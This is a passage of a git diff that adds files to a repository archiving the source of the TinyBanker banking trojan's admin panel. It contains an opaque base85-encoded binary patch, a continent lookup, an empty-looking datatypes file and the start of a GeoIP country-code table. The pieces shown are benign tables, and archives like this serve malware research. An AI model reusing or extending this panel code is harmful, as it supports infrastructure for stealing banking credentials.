z#5U&XGLO6SxW`!DD^gs$c)iPYpOS8&N9Yy$^6=*o$b&XPDULTfq!P))%41I+d-I6q z5zC`<9$oT?=aI;xZ659NNam5s<26@7A%{9|{^U`TfBu`tZtbjW9({NU$YT*de!}(t zd6ep1K*Br5mCLx==g}dLj(L9S3LiAITQNrca6?VkD_qi6+I4>()%5Aeu6cCJV{IPm z@^~PR?s+^&&v`Vv)YU`5zt7Lb@caLH^inH&3!Q!aP#%5rSj}HLH@W&L$RT+Q&7;3K zV;+#lK=Fr-GANJ1hTl@bH7t)u@>rI~^LY%~a45>O9_+*?Yn@LWWJV^?AIX$F4j+=lIEE1NVNsfUh+2 zDc(jNjC`bFpood9L}S88P_gXLD@?S z4s|ZLgnv}QCssOSzRu$to)LHg&EtrOi%WxeJ6-sF9zW#qV;(={v6u(@y#+ix=jv0F zO@ilN5G4yyu@IFC!Q%8xy;LEl@f1)9Z*^DcLY(4to?Rfzh9s9T77LdTLt{$E+|0WL+cMGN<^B%DJ|DyZZrpnwWu zLJ$xH6%j?8j?;Mt6+ux%QNe&Hm~+6K#fW;%Ig0@?W6n7TOmEd1`~LTT?|l8OZ`H0{ zyQ_BXs;;i?=|c&zkC0?Q8GXh33HuA{I?Uxs2bD3nj3aFvWn)MgTadm`6DM1@ zvASqZo>;~~4c4SGb}M6Y8E^1cv<=o28WG>4jJGw-=L+s~AoHy!(zQ5LrgP3m}M_+>1h>&ghqsFV?w5tYHw(VqXQ zyupkSRyZzWRHJo7+5EIQDI+Z-qu;d9Iz-6PS{134F{_LN$~cfslVon$yk#-FY`%sx zN0NifxVojq!2a*Lg2_XbHBWe$kTwq&nO`;|ok^aZo;<3I{%2YX%Q(7>wk@q@{jGH^ ztz*hKy^J%Ye{30x3JZ(NyobW^N}f>0Qjrsj+$AC>scy7?vXZ9=mkE~(PZd((w4x?_ zdU9qN=c~JyaPPE?v&%TA4DxdsSO1v!KTo;j6mH1pzhzul#zkdZ%)!D5UwDadMfu-r z^ra-?BRZMBquLc^Tq&Ka=rneECyT;sB;ng!Q*)9HsNuWwFM^xo~X68s*Ih@LnYi*#@!6mGVUqk-7?-Q zo3CizODvl!;C*G>U&aICkCpK_ZHhl6d|3F1@KGVlveXl0bAf(Vk|)dH^zxMOY2h=% z{hJ#3bJBTUxLWvvux{t2GF~oYjU;c#!>@?16}~EbP58R7Ug}M0z9oEHxK8+vuzoFO zB_G|;;w<-m86Qagq3Zk*+sMVg@Dt&u!q0@`o0{A&%lL|u67|dYx{N;jxG{&!rPgiw z2ss=6Z5iLm+V?_Aeh~Sw3_i@_qpn}d__YjvpYYQ57W=3LS1?ZMcnAI~%*$Skt$KJdQIwt+z=Zhbvp8GZH%(9osI2nGvfYx@T5HI zWp}bMTE@o|b>3M?D$v5%g0uPKY;#>6Z)1XuU2RNM)^y<{8++PjQL&qi$u_2l?=D=^ z+M;}q|KU@`_YzJM?k%KRzb;n&;38o{s}gTLIB(CivA>NYY%H)*wy|bPi8H_~8@6q( zL5?cm3Rz)K#J3R?l8TK`JhBmsBsTIQHxrfl>Y#e6ea2xX_r||DK))!HUKWaP7YVydgrvB|3t!u5))IF_* zHjcLOgN+|;9Ao2H8`s;o!NwvRi*1}@W0{TPY#eXn1REzZPHwVzm032nv`ZIjiH(!B z23ub$b>zQ*v9Z)Pi`A2bM{ZLhUvA@68`s*njy~*boo3^oHrC*grPHNzh7AtVGi{t@ z<7^w}D0!*yTpO2&oF_bANaYJ`Tv+gn6cQKP;2McpDRrOy0`XQ6K9z8@JnLXF|q^7j<;iOzd$+^gh$!uy2}us${(vhlEuMuw- zdz?EkTwMLcTG@Eb!RrowvGFUt;ounuzuEZR#veBRv=KFyCTv++Z-axHD^=d_^loeY zWuv{r|JRJa8J6r##|*9-=X?hxaVGh6i4r&mdO6t9!A_337whd{po7gF{?}=fF~Gsn@n-ch zNIF9tY~f(AcwN4wgP{&aI2h?*m;+u?w-OE)GCBJnYikEY@@+)Ow^i;aA(K4acCxv> zgB=Rt)s3deXvz0=FvG#l4#qeb>tGiLQylE>V4Q>T4kkL7BzH}4u&eYL13WlpS@Yc- zGZ#&EP#4mrBz52J;b5wRy;OEjsZl;n$-Ny+mnoL5ANxpNFTS6$Tp=Yh9qjL*?7)@| z?en}&k;|m#z;_U+4i!39gaso9v4c#SEW#5d4$>l*3Y664H3zdCT<3spIl#ez4i-6B z?BF1})WM++<~can!5qr@{haaE+=4L4;}8cFk{qTkSm5AD2ZuYDFN5?mk0btvA0@S8 z94vHjbkQTM2|MdpCF{L&oP*;XT}wjr z;}i$Wq(BL`#g;ob)xj+dWYU@?T)F6MS)=juWRT?i z!W21A^tbjdE_QH-3#$0~+-@zRsEPkQ-k-0qX zq{kY~O)d{6?{RRigU4it!}dN04?B3o!Tk;%;J9|sqP?l=LmJ}`bhY;EZBdP}!JBB3 zM^%tIkBdCv;7O6EICoj5ATJQieb&Kq4puvO!NK#~+izoWH}cC$iPPP|yi@2}VzO(s z^rC~87+w4cFh>^GRNVOyc}2LEPXR=tfhA_W;owaN?>Tti!CMaAcCe18cJR%n)`^p? z1A1G$NU@FYI&d0FJmZHl_<@5D9dlj&%)v(vzUF#kXNxz#AFC@_+fO*O`5{o@N6kwk zJ6LaU{jcQ58(Y6S_)7e1AvM2o@U8fFh2(n&KNS2&k)MP=3x9F&YmxgK<3#(Ayh5$l z#Quju?oS7Qi7@{OBelI^moz9MQaxwU37BM#>K)8R$CVn*hcR8Xm_ifi}o_!LCCXkJI>?I zKo9HVeXPzdHsrxy0l3)MHD2oCqPs{}AtjrLZ0cgOLefoySF0X{q^FBs;=Kz=9~XVa zC*Nf5tOvLl=wg_Q;XF|rYjYP24_*!ix!{LM2fG;JVha~ry5{a?sEe(xv5vgae3`k9 z%{RBW=Gn>xH*}a~C=3%U#X;hSxMuT*PMGcDU`gf(DVZxWv$e@RRD7O`!$b~u&BhVsEW5zP zkuFYEcOONUb~5tiY%G5T=Hh62hMwf_e_fm`vWOuea-54L)Mo`;oFK{lEiG!E=$h~7 zlJHpBxe05&)WriGjN}xlkt~y=xLL}+;0)Zmr8TZ!=?oWVy1358^)AkGakh(dT%7BI z9r1cU>-YBN+I^l2uF0=*v2~+$zKaXgoC{rCPUrAjKuTULyhO;htPr`>#bt$LVNY`t zcZF*fepk9Us%44EtEr%oc#Vr|3r${GZg6pC;t?0O7iIq=a)*mmB6o5c;VpphZXxS-s%70%=-=z&J{R{Z`2a^yq4S^% zZY5Ef2g#!@9;1g{JV#fs30;k2pK|epeEXzuoxJ^Y;q7N!P|~iA^}LJKE=YK=)C*F0 zQ4%I!(hPG~dy`e^WA1ie;f&YSd{FU>2J1B!uXE6O*ww=uF5YzUvx{F`yyfC;7oWQL zjAwE2j*E9)yyt>9O#|9mkMJ7Aw+__ZtpBVI)(5Ux-+oxM`Xd(~i+>{IjU?4RckzXb zA6@+9;_#WJFBv~wts`__`IXeZmXU8gm434 zQ(-gDJV2=*T*k8ke2UlLq0uw#ZRw$vht?k2cxdmLhXQRq^DKZzJ0n@vyHXGlk5Wp?dBoJhj2%!D`zc91p&9+(L7Fcgqu} z4hsh26%V0EBus>{@YoJUEiHJ}L(Rhh9uD+ySr2PTdux_rX^I{NUdElJwq{LukZLm9 z!@(Zrc$n+q5DzB@I3>WL9_A@Hrvy06!{PLXkKD(64@Y?T+QT;<7I-+)!yO)0c{s|$ zLJ#M9IM2h;9*&_M52r9tJuLEYf`=15GiNULaGZzZJq+(|jp=Cy8t?ImoGq8=bSHUO z>fwo2C3=SP@$D_%m51G}WgeD$IK#u49!~XenupUF?Tr?v7e1i>u7i1e#_4_Qe%4tY z&h~JQXP)5m3PQ_#7(wJ*%`4jZ9xm{3wTEjwTChT;nbp0kA*>;dU+dvI4=X*~?BRM3H+Z~# z&%^s3K44!rSgae>SXCm=MWp0o51)AWQr+>XhtE8G?%@l?7)?=!ZDbU&2g&LAucS%d zZEx#a58rth;$sUR-+TDMLt7v1eEjI)Cl4hbO?>?9;TO*E9{%+3tB2n>^Ltn?BlQc- zQLT(+UZL2(JmX&;{`T;X2g^6pJ|}QifR%r{yYVvv@8fnQ_}IWlgO5fZO?@=;(cDK1 z=~HLR4#ptEp5Cr^P)i@Je6;q_#y2D4zinYJuscrMtHhh2_C7lJ==()_!!}1B%R}%f&6?gi+6~et7)f` zJWtEp`+PkcJIaBqGw0-a3KDh)^>_9$#>aRc6MT%7&MrR2u?rL)^fn`kBbQUeu0AIE znB-$Ob_YKeDqq!SRC^<)gM6Iq z;}jpWeH`p#p^u||%<(bT$KjmbeH`NBP#^Pr947lbJL|ciuUYrr7yG!x#}z)V^s&Onr9Lk6ak)Ie zn$Q#*$Ot51V6fm-KCbq0jgM;?sM_u4)W^VM7K4x>%BJ1m<3=A(`*_C3O+HroxYx&h z9FIP3@v+Lsojz{$ahs3ZecZw5YBWB)v8Bap1Z&6v$kWjSclo&6$A5g>Lx;Dt)^=#Z zXs?d~>M-8eGYX`F%K(jnJ$3D&}#mAFAp3;b* z9m+YY@Qj?s*^iu@pY`#ak2ie0$zJxc+Q%9nulRVu$BRB*^6@gK%?@UCP@iEy3%ue~ zCYy*|>*H0`_I0)EHO(;jG;346VnJoTvGbOXw|%_t;{zY-e7xi1T_5jp5-XXgV2~_r zWiC&=r)J=>;UD_=$j2u>KIPoPS)$Qm%+u8QoQ2e`f!$5DS^NthU;5}7pjUvee0KKj(QLzsO5JaQ^r4lW(@U*c`f)*WdaT>Q@cz-+cV8y77f2 zUJB__4oUjzPal8rk`Vv_{$_C>R=^Jen>ZSw4#XX<0WLx7F}ItAz~1+Ic< zjhb{Ly+IwGg~^QrY!YD809^uf zh6iQ|SN9ARcreG5&^ zJAf0wWiNL&A;*gm!@fkF4(8IiuB8>QIRVlDS%5G=6d(?e1ZE!ipq;rnr5c^as&ZbU zrXj#I4U_(nB+C$pa8RJA;7`_2M3tL6@Gxj1I!I@2v`0A=5gSR zEwRa*TR2-T>uLrg6b9K#7q%w0k@p9B09pIP%#|Jnez_9@q z1y~&5xBy)0vw<93T;z=EY-UJ0WPJzg!~jbIoD^VbV6LI{6ES9JkP4g zHw9Q3;AS>N8)(!asUPIG1-L_Mw+neL3VEz5l6Q$va(96L6hbEN4RBw8`z3i&_&|UM z13VPq;lS**J|5ta0FMTEOi31@@w$EH@;44oNY0ut`BZV1r$wF-Qu+A+s{^bF@JfIe z*p-~$0=&$LZXatm-eCo$S2r|s5hqV>@^e#eEn~H_^=g3ESX=Jn^|c<`z}$bm9)P)n zxSbo|%>Zu&csszl0AF)**16sZ@L7P*1H7x`d&2hvd=TJ6@s9(1BJvT(nzks}qECzY zw%$4-oAZU#$iL)OfC^L0TB0pq`;q*IBKJFy?}hd4GM4>G$)5|IUjqDE@ZSRbUhwrI ze+d5+{w4fd_>a)4pj0vQHV^)DG;SAfP{D~II2ksrpjpLS1)5i|Nd=o$(4vBdit$*Z zu#>Q51+6M*E#5}hUf8yRb|Td8+}Y|-@QxLn-rT&HVdNETSjac3VB>;!si14Yd-gR$ za{#%fDi~ex`c3-S3igy_7vZ=fcf81i3U;kvqWC1?6ya_aOs<%RCOjD4yGyu-Bs@DM zQzhA}f@u}(Exwy~!4iPz2$Y#>W;T6oU zU}Xh2S8#;niz_%zWP$L=3XT$4C}feND>$a$$BHbfn5zb}cpP8BITf5M`3W2m6)dUX zBqf(uaB2lhi?SzIa7w|K{g0PUlkhA?yT}=Z&Y2>t_SuDm*H)hKyb4xSaA^hS7xD`# zxKR8e;l;vBg!NWmCVs7u7A~*g3h^t2R|&7K;2IHLl&Ql><~k*>7gBOV1viTGT60qc z^?)YXuKf@L&b^ z$c^{Q=DouE3bPCeKJ4Q)j^v>Vo>VTc;}2KxNCl5p@EFTh@I>X`|A@pobNxW%LA9r( z|FrNKA#*8zzG8kp@VX*@waUIw!HXgV zn%=13O<8-Zg11H13EvTNVy}-l-g9v#`JjRiD`**_Rfvxm%={IGEPq_VC({2^_+s^D*)WmB^fW0Gh|zn*Lo0wFdC(KJLuA#WC-|7# zlKhu97IONnb%=f;`iE!}qHTzFA=-!N9hzsm9YS;r(IrIJ5S>DFmT)7Y2o)Gk^}yIz z5^@INCLuNr(IZ695SxYQ7NUEh&)m8`qqnY1BRqOhr>hAt9(_Xe4b63poWcR2nI|_7 zF-T-!2>wurlEEQ{gcu>sEkbj#8x~@Ch%LpL94f-)*;XRk2)8bBDd#~odS)bz$j&I? zcEat2I|%Db$I&5n4sl3`Lqm)S!6o-TA@&V1R#jp+?Gj>Ki18sNFgG+8yQv{2hL{v$ z3M((kZXqU%aK54f2NaRV9wGLuD-=R1>=j~~gnNgW{{Q5%@-sp>A>7cs61Jb5JTt`p zB4wd1>_6G~)(gRPbr>QF%^>wd1R@n7cR47e+haBPzz|7@G(@J{YKU5hT)aLKIqqgD zd4RA!42cIRIh*SckvSpe{*MCpBB;Yio~N@M72+`E^1O$O%oiRZTp&D>0a-G2Tc{#O z3)!4w*qjiHLM&Drj~5;%WG*A~go1N7W=V*XLM#n&a)_A`_K$E%h-D#u3h{G@xG*&9r87d@-_qPXo+x-kTGZVLHjFjJNm7!o(D)wc+572YPiT}aQ|5n`42ouPTD`!4ajS#yqk zJ%pvZsCFM49^&&5UvO5@!-xk$^JMD55D$fTIK(3%-U#t#h(~4N=@8F^cr3)@N^Z_q zKtm8|>d6pKh1iJiiYQ6RvmssxaW3Egmoi_8e?G+O5G2$gz9{)iAzlu#Cd4cBTSrr? zwIK%ZF)=S0Azlsf8lBANgF2@0mPGd7Qdug07UFH%)QR5V3@`b+A>I>V!S_Wz5Pnz) zS@2`=PlVs|E+7Pva(3~=Vdg!eFGKKtv(mx(O3_I9*CD=9JbWvpCuMKw2N7zEk%{2tH5zGsIsZ{#NncZLIHGmnh^L2wmD+ zB^7BB0g;()Hi*zXLW>AZm87Iugf6?A8KxmZV}#8k42sOu+A_jM5jKv{DnjcBZ6s_L zp?!q5;+*k#N7ErfMCag9oI`e#Cr-^mUnjb9WC-c5&A{wAEB>u|0^F5VPIsg0@V4womFma-n$qa zVMv4#5k^MXBEpsthO5+2;V@zSAs|cb(%afflC2}NfyP>G6M_Hcm{~kVK2h3Mx%IW# z_7Qf7FfPLQ$Xq>ljLhC$zsR_Kr^xikXyMMnF%ia!>>^}txAxYA2)jmD-OXC8-G+$~ z_E1kv(ph-M-9#n}r?6>-oO?~|tUc9zQzL$o)O71K;oe1`P8ZonxUX=AaK8xLB;m@u z9KnuoZiMq9I1$_kCq`Hj!HeKW2qIJ>Gyn6aK&?>XqZ#AOk)??zT497JLL4DsWb!M` z5e|!xM#v)M5vmbp?q$u1P*d)KLaNOYIY3yQV_xq+D8lR__h1qFgz~u&4k_e^(x8+N zmt>)EzVHa)0^yNDmOU!Mu`+VBB*!orVUhUph0bD;;|j|s6mtF^>ZAxuBb>}>KSH@@ z6OLuR&dP3G7U9-Lt79AUV;qj_XfttkgBU}*S zxd_ikxG=&+?CuEnDE=?k{qn_;c}L=s2rD978sV}Cmq)mTXOD1&Vw>T;k}()WL9@P?i9I8c(;%{gzH*b_p-c_%Om(5x(Yp)xqK~P>ySDeIyrs9N`m@Pla^sXAwRZ|3dg>A%BMpp$^tJ5jw*Ftx zL(a4Qk=%+=ip`YRBu4WXEn*HZg|A7#3rz7~As)__6u?#Q}Y-QloVsf1IMN6;5{}VvLNj zLyR3`eBZvwwlVmNT~7X^Vl(e;$JS|dY#-xQy$#MEB7L)EX{Q(m4>s>99mn@SV~mXv z#Hg^nF~+gZ^go>wV?vDIR-2ac_bj`{*e%8zmNhXp{WwWT!f&=rj?Lws$CMcS*$4?e zxo3FJvVbx3a<*QH-TAPF9t6Yh%SRk{GFq97f+BT*}nZxsdg&#;7qKlsrIqu<*bb z2NgQAMfmbO_2SR1pyF5NFv4+!h` z-4BXWnGaANmOmef@uvR*Y9-a2Rr8c|+}8%dx4MgtNzMF+%Dtn$4*8fr@_^*pB1a9(0%a`QSmpKbj{ z1&vl-K7Q9UxL(M&xc_2>WBe1tO3b$lUfZk*7u)navBrOp+R`c|Xp)#o7zs8=&@@4_ z1V?hSZm&}F1V4AOj?ntNMS=#YH6~~&!i6+TwG!uV-@H^hnUNkn~E>yWsp0M8Cw$ z!#vCGiTR#P{{#aP4CMTuU{Hcl%uO&@`dcODLmxxLw;)e2w6McjmllR8IXp2-HDi$P z|0md{&>4|nr1-Xlgje(J6YP*+S4p^Ev7^Xn;Z8bT-OkPl#z;6;xJ!a@3C8P06B2Vl zq+0!?b(|=*NeOlnnJk zMO#yo)1|;9*nqQvl+RCafz&Qca8ZJb6I_zu z`2?#ItVnQag1Z>f437ktC%8Sq9SN>TaAkrU6TH&Wx=Ll)Bji^nxF*519N_As8xmYs zAj+seL4*&G!?0ApW5$#v-iD$C7*^tQ(=`=Lx=${I3LmCn%?|Q~Z;_O0j8*%~F(7 zG)b{hij7ks#Re%_r)ZO!cfGha_-tdVX=-ZKEJgDaE%`!eiiQ-8LPW~yj zu78$_zYye-ron2PqB92+-(*O^UxA&)U3!w#d_IUrN0Cm{DI^<;v|nMI)+I&P6q}^r zkM6mAVl{SeX|0=SUf=DOqI-%yDf*^nV(gKkXNq2_SpYxRX!TCPT?oER&ZY0=ym#Yc z-xU2*OiVF}E#(_B9jpPVSv>HU>;qG?0l0aJK`91{4@t2N8`Z|5e2WxYre^g%G{rFG zQa(JzR%~gJtgr3s`Xf?|OtEc>Q7N`#HBwASv3-giQtX^!Oo|<4ZKo8Y|EKtoZOm3A zEs%_5dsB>)T3y0wknq?w1rRl%NWrV{v=n=$ zn93?~->;#xmk9Yzo0axXF+Bwd)hO9VS^ElSq}We{xidvtm5e93LU2;JDY|6nn!!uq zr?@G_$`nD0N{Sm((6{XFFvV3Vu1*o9h*Kmf(iF#~I9}GW6bGa@P&^k_g*A1`tQ4G7 zStT9^r8rz!vr`-_GAG3$DGp6BS4l3S-r&wsio;ZvXXhG*1sMPgq4_C}NX?$%g48_M zJBAKSag+)!OmQ@8uCp)_eEn+m*c6M3voDq!P0_a}q&P9f3Q3lvI4Q-&;!9JUoZ|Ep zXRwqiuq?&$6#QZmyJP*f=9R5e*`ZwgOaH7djbvR*>rCpTIFHfJ;MZg8vs0Xtf^Dh) z9*}B$4f1@Ix#?lQm#aXwpMC2zjSnB2!x1?B?;vKfP(K_p8>(&&vrMNu> z|DnU3YS$eabR2i9MA-FrrMR0s#XTurNwJmzz?XkgJecAk@%x1L3m*`2weWC?M^da- zlKPLPcp}A@Qlju(#m^rcZYkbN@qUUA)C-@d_(J4E z;YTSxPVtHOrzt)Yv7CQfdCa#(b>9>Xqjmn}k>uzk7p|vD!GIYq$ zF+U5iD7{rG2HO|a@ zNP%_+XW)+a5N`2t^3SkkhM^gTWf-1eE0)zqMYs>ck3NwTx0Y}=|4jgYOx>-?2sS6f zwi!kd`2A;XE{OA5(J8I~6OiXEXJ$An z!`Yd6`zwGF+PBvJ97JxGBTR3|BBFGhCD5+6??!=~ay3F4om5&K)XV?)jYbhX(Wg zgzF^a7euema6@JuO5P}>g#6|Vw@BeO+2KgMH8Xo$%x%dhhWfA%g?D6FmEq0|w8fD`yj}`ut;hqfll4p1-!_yh=m%&FeJeuKw3=d{_qn#=B5W9w#+RdzoGdwZeNFK}Z zxRjp|vI#4=x*l4h&XXCA*NL9V@N9l&&z_(i61$>^g@OgGrYtTb+uTES^PjN zk;kfLrB^bn&0ysy<#;v2YZ<=C@TJPWp5eU=@3U?h-pufpnzoLvR@t{R%x_xaFIeBn z@NS01!;H-fltuD^EPR~dLlH_oDm?Q^hEFqmCi&+=V{mEdU4Dt8S&6;*RfhGFf1Tl* z4Buw>F2he5erBgg{sX&SgcVqz^U^*W^-G3dGyIm}_qv+=aL011-rjpUmAW@C{h_Qs zGyIj|Z}ESGv_OZ~ecmJoa%`5HNuJBg4RW;2(Jn{R9L;hx&(T6zt#dTwXw13CPU4J7CO6EnQI3ssbjh(vj!knj33ts+ z$k8S_%aZIr(R^i>uA}8{IlAZQk)vmhUOD>b7?7iPjy^g1=IEE>8(yXrR~$0`^#;oh zRNV&U7@TAC+B6EmN|yz7?oqY+`J7qEH_scz7;$?*SCOjY@K5p zmeqX7OE$>}B}WoPIO9>ceGYywgqs?81uW z*dxa{$tThIT+ND4$g!(P#t*@X)b!1?-EvHp+LRp3qCO9jJ#$RWQI_UjIi}^vPKU+5|$D#ZRP>ut09F${rj-zuN!#L!xei#WN zbA)q+hftsH>S>10JW1;O@Er4%JVJPsaDnj1LVux>ELbmcY>pFhoG9U<9E)@Ffb}>f zk1sSQ_AD(CKRL%KIZi6%OADLJaxBkrrsSszY2*x%({h|H!XHNQr1kSM_pBT=%j4V} z_cdCV(r>xB-kq1@eCbp3f*co$UsOmg7P%zHibC>QKXX4jl1n?q_7y^omn(BzRq(5G zTvPCCMXnR_x!8?4ZpyJT$IZFfJs#J_Jj(x~OX(I4q9vu<6#Td5=A|QE2Rmvf{B~W1 z?+~sM@_YMtQ!~etIiAXKPmX)ps2ulmRB9*W2)@_EH#udEKbtzbi}hfR2RZ+1ygV#? zM3M6-{jcQX40{c(CnV=@A{cT{=XfT^M>#&0ub$;7-o|`W>$x1y=UAPC>)ZE)F9=`E z@luYLbFAU4qBFjdW395@=KL@6y6`n2zcWS)Z{&D0H^1m7e@k+b9$GxFV-uwFuHw@!W)=GGG3wVrP*tRqP=`;aHJfgyX6hFEXLX z-Bn~_6_Z4EE98@_m?FM=A))v76rU>GOE|5Hy{njB=-49r2=^7v5bjsSOcB;+|0>D_ zuiv6NRk&4nRrpl|RaBK*5ypjPC=yjszrjhWNF~Xt$VE72X`EPBs8unmiUSxnx>u^_ z&aUF%Djuog(JJOtF}I49Rou+3;rd@VzluYvxUz*cuZn}X_^jeEF8-@{oByzzyNC_e z5t1*c;z;QqCA_JMg=_+!PqCSUtYaiRwu(hnEUx0XDlV1e_$p4Q;`A!csN%#bmQ-;{ z70aq<$1i_Yv9yYltKcbkULGHv+l2C^Ev)5LoLa?cRr9ZQc#3m>wU(jDU5iRr^Yygb ztTU@PtBUigIA029S8+}i=gQ`~V@vP1usStZpUk&j=CohMg;iWs#l>_TpQ)W%qJ1h{ zLj7N@6)H}fM{_e-cp2lciYw@iDy~=kud3qeDz2>E=sKYZ70fzp~V9S&0?fzQ1){ z6=8piHm~PiA|C-)aic6R=aXpedGaHEEv%CVS+`X2pDON=OK+7kZ>!>VdGC%YZfRlB z&#P4bJC%EvPJMS3tE$$jb{6g2OGgc|9<1U%DcoPh16A~0Tw=lb`=*tMDUdKHhW)Du-aS;bRTJYB`}RjjV!L!J5=m3p>{=X73{eTdUzGwTIa z_@ydd7I{&*`!=)au{Cr)pYvAnN)_uDm)5HCtjw!bbUvdrqnYtP72c@gO`UqCWm@qT z?I^k!Y)rme#d{n|HB7JJ{VG0SB-GHgW`gj;D!#1ZD=B|e#m7~AQpKk-^?3`6@kyP} zs`y-PA^$=Z;063^Rg$eP)l2|?Q^mJce5ZonSMfs?KNdxPlIHKq`dRpkB((OclD`SJ zYi6yl;t%mZtN2IcFCjJmW^{2)JJ@*Js+p+nu&LFg2Gp=Y4NYrkRYU8ViM?huG)RH9 zYF;x#tVIob%PoyH46&@1${jP55K(2Z-D*v$BfmfO|LaBDCBbf}?Y4UF4P zHFU0FLzSKTl*QU^q=H<@e8pD+7zQn@O={S*hOKMZriRT_oVD#;LpO06@2(;}YUnA_ zOGr80NXsv!VRiM9e2h=dIhRtgj#AFS_k$(ka6nF zQ)3S#)-YTAVBw)P%n_mGxiuV8@FD#zOY`tyavd!ku0G8zYk|&tWer!=aAaZss2UbB z0#%L82V2L~aBK~WYFJ#uMd}?+zsJ?EtcK+^9ACo;HL#f{>U2w0=Or~Wy`QAe{eoYW zjBEn}jQcH_ON^Y9=R&*@LXx zB&YuEHQXU<^uwwe?v(tl8t$&)KlSRhFmwAoHQZYRM>mJnB`r)PAE@C$RbVweS;NCJ z@|ecRBQ-oK&(Kjk#lrpu>5#{z^Mp?Eq>MjR!_zf9BRkL5@SKDb7Msz;<9Q|NH1Zcz z_Qe`rqGiqlmYIPmUnBV|YT#N~ezk_zYIt2eOSKCYmEKUp-<0Ma$Y8$NWap(A>XJv5&c^%&M;mxE@{pOdHAAw33!1C`xl_u%l|^8=$ElMW1f WjF~m7$25~Yx5u=2ZaimR9Q_{vzGK_~ literal 0 HcmV?d00001 diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/continents.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/continents.php new file mode 100644 index 0000000..b1de275 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/continents.php @@ -0,0 +1,13 @@ + "Europe", + "OC" => "Oceania", + "NA" => "North America", + "SA" => "South America", + "AS" => "Asia", + "AF" => "Africa", + "AN" => "Antarctica", + "--" => "Unknown"); + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/datatypes.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/datatypes.php new file mode 100644 index 0000000..dd69c8d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/datatypes.php @@ -0,0 +1,9 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/geoip.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/geoip.php new file mode 100644 index 0000000..6eb3772 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/geoip.php @@ -0,0 +1,727 @@ + 0, "AP" => 1, "EU" => 2, "AD" => 3, "AE" => 4, "AF" => 5, +"AG" => 6, "AI" => 7, "AL" => 8, "AM" => 9, "AN" => 10, "AO" => 11, +"AQ" => 12, "AR" => 13, "AS" => 14, "AT" => 15, "AU" => 16, "AW" => 17, +"AZ" => 18, "BA" => 19, "BB" => 20, "BD" => 21, "BE" => 22, "BF" => 23, +"BG" => 24, "BH" => 25, "BI" => 26, "BJ" => 27, "BM" => 28, "BN" => 29, +"BO" => 30, "BR" => 31, "BS" => 32, "BT" => 33, "BV" => 34, "BW" => 35, +"BY" => 36, "BZ" => 37, "CA" => 38, "CC" => 39, "CD" => 40, "CF" => 41, +"CG" => 42, "CH" => 43, "CI" => 44, "CK" => 45, "CL" => 46, "CM" => 47, +"CN" => 48, "CO" => 49, "CR" => 50, "CU" => 51, "CV" => 52, "CX" => 53, +"CY" => 54, "CZ" => 55, "DE" => 56, "DJ" => 57, "DK" => 58, "DM" => 59, +"DO" => 60, "DZ" => 61, "EC" => 62, "EE" => 63, "EG" => 64, "EH" => 65, +"ER" => 66, "ES" => 67, "ET" => 68, "FI" => 69, "FJ" => 70, "FK" => 71, +"FM" => 72, "FO" => 73, "FR" => 74, "FX" => 75, "GA" => 76, "GB" => 77, +"GD" => 78, "GE" => 79, "GF" => 80, "GH" => 81, "GI" => 82, "GL" => 83, +"GM" => 84, "GN" => 85, "GP" => 86, "GQ" => 87, "GR" => 88, "GS" => 89, +"GT" => 90, "GU" => 91, "GW" => 92, "GY" => 93, "HK" => 94, "HM" => 95, +"HN" => 96, "HR" => 97, "HT" => 98, "HU" => 99, "ID" => 100, "IE" => 101, +"IL" => 102, "IN" => 103, "IO" => 104, "IQ" => 105, "IR" => 106, "IS" => 107, +"IT" => 108, "JM" => 109, "JO" => 110, "JP" => 111, "KE" => 112, "KG" => 113, +"KH" => 114, "KI" => 115, "KM" => 116, "KN" => 117, "KP" => 118, "KR" => 119, +"KW" => 120, "KY" => 121, "KZ" => 122, "LA" => 123, "LB" => 124, "LC" => 125, +"LI" => 126, "LK" => 127, "LR" => 128, "LS" => 129, "LT" => 130, "LU" => 131, +"LV" => 132, "LY" => 133, "MA" => 134, "MC" => 135, "MD" => 136, "MG" => 137, +"MH" => 138, "MK" => 139, "ML" => 140, "MM" => 141, "MN" => 142, "MO" => 143, +"MP" => 144, "MQ" => 145, "MR" => 146, "MS" => 147, "MT" => 148, "MU" => 149, +"MV" => 150, "MW" => 151, "MX" => 152, "MY" => 153, "MZ" => 154, "NA" => 155, +"NC" => 156, "NE" => 157, "NF" => 158, "NG" => 159, "NI" => 160, "NL" => 161, +"NO" => 162, "NP" => 163, "NR" => 164, "NU" => 165, "NZ" => 166, "OM" => 167, +"PA" => 168, "PE" => 169, "PF" => 170, "PG" => 171, "PH" => 172, "PK" => 173, +"PL" => 174, "PM" => 175, "PN" => 176, "PR" => 177, "PS" => 178, "PT" => 179, +"PW" => 180, "PY" => 181, "QA" => 182, "RE" => 183, "RO" => 184, "RU" => 185, +"RW" => 186, "SA" => 187, "SB" => 188, "SC" => 189, "SD" => 190, "SE" => 191, +"SG" => 192, "SH" => 193, "SI" => 194, "SJ" => 195, "SK" => 196, "SL" => 197, +"SM" => 198, "SN" => 199, "SO" => 200, "SR" => 201, "ST" => 202, "SV" => 203, +"SY" => 204, "SZ" => 205, "TC" => 206, "TD" => 207, "TF" => 208, "TG" => 209, +"TH" => 210, "TJ" => 211, "TK" => 212, "TM" => 213, "TN" => 214, "TO" => 215, +"TL" => 216, "TR" => 217, "TT" => 218, "TV" => 219, "TW" => 220, "TZ" => 221, +"UA" => 222, "UG" => 223, "UM" => 224, "US" => 225, "UY" => 226, "UZ" => 227, +"VA" => 228, "VC" => 229, "VE" => 230, "VG" => 231, "VI" => 232, "VN" => 233, +"VU" => 234, "WF" => 235, "WS" => 236, "YE" => 237, "YT" => 238, "RS" => 239, +"ZA" => 240, "ZM" => 241, "ME" => 242, "ZW" => 243, "A1" => 244, "A2" => 245, +"O1" => 246, "AX" => 247, "GG" => 248, "IM" => 249, "JE" => 250, "BL" => 251, +"MF" => 252 +); + var $GEOIP_COUNTRY_CODES = array( +"--", "AP", "EU", "AD", 